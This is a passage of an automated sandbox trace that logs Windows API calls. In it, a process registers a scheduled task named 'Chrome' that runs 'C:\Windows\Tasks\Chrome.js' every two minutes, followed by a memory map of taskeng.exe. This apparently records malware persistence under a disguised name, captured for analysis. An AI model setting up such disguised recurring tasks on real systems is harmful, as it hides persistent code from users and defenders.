returned 0 [0055.458] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.458] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|et|") returned 4 [0055.458] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.458] lstrlenW (lpString="|et|") returned 4 [0055.458] lstrlenW (lpString="|F|") returned 3 [0055.458] StrStrIW (lpFirst="|et|", lpSrch="|F|") returned 0x0 [0055.458] SetLastError (dwErrCode=0x490) [0055.458] lstrlenW (lpString="k") returned 1 [0055.458] lstrlenW (lpString="k") returned 1 [0055.458] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.458] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.458] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|k|") returned 3 [0055.458] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.458] lstrlenW (lpString="|k|") returned 3 [0055.459] lstrlenW (lpString="|F|") returned 3 [0055.459] StrStrIW (lpFirst="|k|", lpSrch="|F|") returned 0x0 [0055.459] SetLastError (dwErrCode=0x490) [0055.459] lstrlenW (lpString="du") returned 2 [0055.459] lstrlenW (lpString="du") returned 2 [0055.459] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.459] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.459] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|du|") returned 4 [0055.459] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.459] lstrlenW (lpString="|du|") returned 4 [0055.459] lstrlenW (lpString="|F|") returned 3 [0055.459] StrStrIW (lpFirst="|du|", lpSrch="|F|") returned 0x0 [0055.459] SetLastError (dwErrCode=0x490) [0055.459] lstrlenW (lpString="ri") returned 2 [0055.459] lstrlenW (lpString="ri") returned 2 [0055.459] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.459] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.459] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|ri|") returned 4 [0055.459] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.459] lstrlenW (lpString="|ri|") returned 4 [0055.459] lstrlenW (lpString="|F|") returned 3 [0055.459] StrStrIW (lpFirst="|ri|", lpSrch="|F|") returned 0x0 [0055.459] SetLastError (dwErrCode=0x490) [0055.459] lstrlenW (lpString="z") returned 1 [0055.459] lstrlenW (lpString="z") returned 1 [0055.459] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.460] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.460] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|z|") returned 3 [0055.460] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.460] lstrlenW (lpString="|z|") returned 3 [0055.460] lstrlenW (lpString="|F|") returned 3 [0055.460] StrStrIW (lpFirst="|z|", lpSrch="|F|") returned 0x0 [0055.460] SetLastError (dwErrCode=0x490) [0055.460] lstrlenW (lpString="f") returned 1 [0055.460] lstrlenW (lpString="f") returned 1 [0055.460] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.460] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.460] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|f|") returned 3 [0055.460] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.460] lstrlenW (lpString="|f|") returned 3 [0055.460] lstrlenW (lpString="|F|") returned 3 [0055.460] StrStrIW (lpFirst="|f|", lpSrch="|F|") returned="|f|" [0055.460] SetLastError (dwErrCode=0x0) [0055.460] SetLastError (dwErrCode=0x0) [0055.460] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.461] GetThreadLocale () returned 0x409 [0055.461] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0055.461] SetLastError (dwErrCode=0x0) [0055.461] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.461] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.461] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.461] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.461] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.461] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.461] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.504] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.505] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.505] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.505] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.505] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.505] GetLocalTime (in: lpSystemTime=0xecf58 | out: lpSystemTime=0xecf58*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x21, wMilliseconds=0x16)) [0055.505] lstrlenW (lpString="") returned 0 [0055.505] lstrlenW (lpString="") returned 0 [0055.505] lstrlenW (lpString="") returned 0 [0055.505] lstrlenW (lpString="") returned 0 [0055.506] lstrlenW (lpString="2") returned 1 [0055.506] _wtol (_String="2") returned 2 [0055.506] lstrlenW (lpString="") returned 0 [0055.506] lstrlenW (lpString="") returned 0 [0055.506] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0055.803] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0055.859] CoCreateInstance (in: rclsid=0xffc71ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffc71ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xecd20 | out: ppv=0xecd20*=0x2aded0) returned 0x0 [0056.056] TaskScheduler:ITaskService:Connect (This=0x2aded0, serverName=0xece00*(varType=0x8, wReserved1=0xe, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xecdc0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xecde0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xecda0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0056.065] TaskScheduler:IUnknown:AddRef (This=0x2aded0) returned 0x2 [0056.065] TaskScheduler:ITaskService:GetFolder (in: This=0x2aded0, Path=0x0, ppFolder=0xeceb8 | out: ppFolder=0xeceb8*=0x2adf80) returned 0x0 [0056.110] TaskScheduler:ITaskService:NewTask (in: This=0x2aded0, flags=0x0, ppDefinition=0xeceb0 | out: ppDefinition=0xeceb0*=0x437c30) returned 0x0 [0056.111] ITaskDefinition:get_Actions (in: This=0x437c30, ppActions=0xece30 | out: ppActions=0xece30*=0x437cf0) returned 0x0 [0056.111] IActionCollection:Create (in: This=0x437cf0, Type=0, ppAction=0xece50 | out: ppAction=0xece50*=0x436090) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x54) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0056.111] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x6a) returned 0x0 [0056.112] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0056.112] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.112] StrChrIW (lpStart="C:\\Windows\\Tasks\\Chrome.js", wMatch=0x20) returned 0x0 [0056.112] SetLastError (dwErrCode=0x490) [0056.112] IUnknown:Release (This=0x436090) returned 0x1 [0056.112] IUnknown:Release (This=0x437cf0) returned 0x1 [0056.112] ITaskDefinition:get_Triggers (in: This=0x437c30, ppTriggers=0xec9b0 | out: ppTriggers=0xec9b0*=0x437e30) returned 0x0 [0056.112] ITriggerCollection:Create (in: This=0x437e30, Type=1, ppTrigger=0xec9a8 | out: ppTrigger=0xec9a8*=0x436100) returned 0x0 [0056.112] lstrlenW (lpString="2") returned 1 [0056.113] _vsnwprintf (in: _Buffer=0xec930, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xec928 | out: _Buffer="PT2M") returned 4 [0056.113] ITrigger:get_Repetition (in: This=0x436100, ppRepeat=0xec9a0 | out: ppRepeat=0xec9a0*=0x436190) returned 0x0 [0056.113] IRepetitionPattern:put_Interval (This=0x436190, Interval="PT2M") returned 0x0 [0056.113] IUnknown:Release (This=0x436190) returned 0x1 [0056.114] _vsnwprintf (in: _Buffer=0xec8f0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xec8c8 | out: _Buffer="2019-01-08T12:40:00") returned 19 [0056.114] ITrigger:put_StartBoundary (This=0x436100, StartBoundary="2019-01-08T12:40:00") returned 0x0 [0056.114] lstrlenW (lpString="") returned 0 [0056.114] lstrlenW (lpString="") returned 0 [0056.114] lstrlenW (lpString="") returned 0 [0056.114] lstrlenW (lpString="") returned 0 [0056.114] IUnknown:Release (This=0x436100) returned 0x1 [0056.114] IUnknown:Release (This=0x437e30) returned 0x1 [0056.114] ITaskDefinition:get_Settings (in: This=0x437c30, ppSettings=0xece50 | out: ppSettings=0xece50*=0x437ea0) returned 0x0 [0056.114] lstrlenW (lpString="") returned 0 [0056.114] IUnknown:Release (This=0x437ea0) returned 0x1 [0056.114] GetLocalTime (in: lpSystemTime=0xecd08 | out: lpSystemTime=0xecd08*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x21, wMilliseconds=0xe1)) [0056.114] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff0e0000 [0056.115] GetUserNameW (in: lpBuffer=0xecd30, pcbBuffer=0xecd18 | out: lpBuffer="aETAdzjz", pcbBuffer=0xecd18) returned 1 [0056.115] ITaskDefinition:get_RegistrationInfo (in: This=0x437c30, ppRegistrationInfo=0xecd00 | out: ppRegistrationInfo=0xecd00*=0x437d70) returned 0x0 [0056.115] IRegistrationInfo:put_Author (This=0x437d70, Author="") returned 0x0 [0056.115] _vsnwprintf (in: _Buffer=0xecd30, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xeccc8 | out: _Buffer="2019-01-08T12:40:33") returned 19 [0056.115] IRegistrationInfo:put_Date (This=0x437d70, Date="") returned 0x0 [0056.115] IUnknown:Release (This=0x437d70) returned 0x1 [0056.116] lstrlenW (lpString="") returned 0 [0056.116] ITaskFolder:RegisterTaskDefinition (in: This=0x2adf80, Path="Chrome", pDefinition=0x437c30, flags=6, UserId=0xecfa0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xecfe0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xeeeb0, varVal2=0xfe), LogonType=3, sddl=0xecfc0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xecec0 | out: ppTask=0xecec0*=0x436250) returned 0x0 [0056.409] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0056.409] _vsnwprintf (in: _Buffer=0xed600, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xece68 | out: _Buffer="SUCCESS: The scheduled task \"Chrome\" has successfully been created.\n") returned 68 [0056.409] _fileno (_File=0x7feff632ab0) returned 1 [0056.409] _errno () returned 0x434bb0 [0056.409] _get_osfhandle (_FileHandle=1) returned 0x7 [0056.410] _errno () returned 0x434bb0 [0056.410] GetFileType (hFile=0x7) returned 0x2 [0056.410] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0056.410] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xecde0 | out: lpMode=0xecde0) returned 1 [0056.410] __iob_func () returned 0x7feff632a80 [0056.410] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0056.410] lstrlenW (lpString="SUCCESS: The scheduled task \"Chrome\" has successfully been created.\n") returned 68 [0056.410] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xed600*, nNumberOfCharsToWrite=0x44, lpNumberOfCharsWritten=0xece50, lpReserved=0x0 | out: lpBuffer=0xed600*, lpNumberOfCharsWritten=0xece50*=0x44) returned 1 [0056.410] IUnknown:Release (This=0x436250) returned 0x0 [0056.410] TaskScheduler:IUnknown:Release (This=0x437c30) returned 0x0 [0056.410] TaskScheduler:IUnknown:Release (This=0x2adf80) returned 0x0 [0056.410] TaskScheduler:IUnknown:Release (This=0x2aded0) returned 0x1 [0056.410] lstrlenW (lpString="") returned 0 [0056.410] lstrlenW (lpString="2") returned 1 [0056.410] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="2", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0056.411] exit (_Code=0) Thread: id = 25 os_tid = 0xa54 Process: id = "4" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x75cdf000" os_pid = "0x5a0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "3" os_parent_pid = "0xa4c" cmd_line = "taskeng.exe {370CACBF-C376-4665-AF86-96A1EEBE08EE} S-1-5-21-2345716840-1148442690-1481144037-1000:YKYD69Q\\aETAdzjz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 968 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 969 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 970 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 971 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 972 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 973 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 974 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 975 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 976 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 977 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 978 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 979 start_va = 0x380000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 980 start_va = 0x4c0000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 981 start_va = 0x540000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 982 start_va = 0x550000 end_va = 0x6d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 983 start_va = 0x6e0000 end_va = 0x860fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 984 start_va = 0x870000 end_va = 0x1c6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 985 start_va = 0x1c70000 end_va = 0x2062fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c70000" filename = "" Region: id = 986 start_va = 0x2080000 end_va = 0x20fffff entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 987 start_va = 0x2100000 end_va = 0x21fffff entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 988 start_va = 0x2210000 end_va = 0x228ffff entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 989 start_va = 0x2300000 end_va = 0x237ffff entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 990 start_va = 0x2380000 end_va = 0x264efff entry_point = 0x2380000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 991 start_va = 0x2680000 end_va = 0x26fffff entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 992 start_va = 0x2760000 end_va = 0x27dffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 993 start_va = 0x2870000 end_va = 0x294efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002870000" filename = "" Region: id = 994 start_va = 0x2980000 end_va = 0x29fffff entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 995 start_va = 0x2b00000 end_va = 0x2b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 996 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 997 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 998 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 999 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1000 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1001 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1002 start_va = 0xff2b0000 end_va = 0xff323fff entry_point = 0xff2b0000 region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 1003 start_va = 0x7fef8120000 end_va = 0x7fef8128fff entry_point = 0x7fef8120000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1004 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1005 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1006 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1007 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1008 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1009 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1010 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1011 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1012 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1013 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1014 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1015 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1016 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1017 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1018 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1019 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1020 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1021 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1022 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1023 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1024 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1025 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1026 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1027 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: 